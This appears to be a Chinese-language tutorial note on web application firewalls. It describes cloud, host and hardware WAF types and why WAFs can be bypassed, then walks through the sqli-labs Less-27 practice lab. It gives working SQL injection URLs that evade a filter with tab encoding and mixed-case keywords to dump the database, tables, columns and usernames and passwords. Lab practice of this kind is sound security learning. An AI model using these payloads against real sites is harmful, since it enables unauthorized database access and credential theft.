WAF(Web Application Firewall)，俗称web应用防火墙，主要的目的实际上是用来过滤不正常或者恶意请求包，以及为服务器打上临时补丁的作用。
1、云waf：
在配置云waf是（通常是CDN包含的waf），dns需要解析到cdn的ip上去，在请求uri时，数据包就会先经过云waf进行检测，如果通过再将数据包流给主机。常见产品：阿里云防护，腾讯与防护，创于云等。
2、主机防护软件：
在主机上预先安装了这种防护软件，和监听web端口的流量是否有恶意的，所以这种从功能上讲，较为全面。常见产品：云锁，安全狗等。
3、硬件防护软件：
硬件waf可以理解为流量代理，一般部署方式都需要流量经过他，针对数据包进行拆包-》清洗-》规则名中国-》放行/丢弃。常见产品：各产品铁盒子waf
为什么waf可被绕过：
1、业务与安全存在一定冲突
2、waf无法100%覆盖语言，中间件，数据库的特性。
3、waf本身存在的漏洞。
waf白名单机制：
waf存在某些机制，不处理和拦截白名单中的请求数据：
1、指定IP或IP段的数据
2、来自于搜索引擎爬虫的访问数据。
3、其他特征的数据
注：因为我们输入的空格与--+这些符号都被系统处理为空，无法通过。我们可以采用%09或%0a代替空格，'3 分号代表闭合，后面的代码就不会执行。
1、爆库 security
http://127.0.0.1/sqli/Less-27/?id=0%27%09UnIon%09SeLect%091,database(),'3
2、爆表：users
http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),'3
3、爆字段：username,password
http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09 table_name='users'),'3
4、爆数据：username,password
http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(username,password)%09from%09users),'3
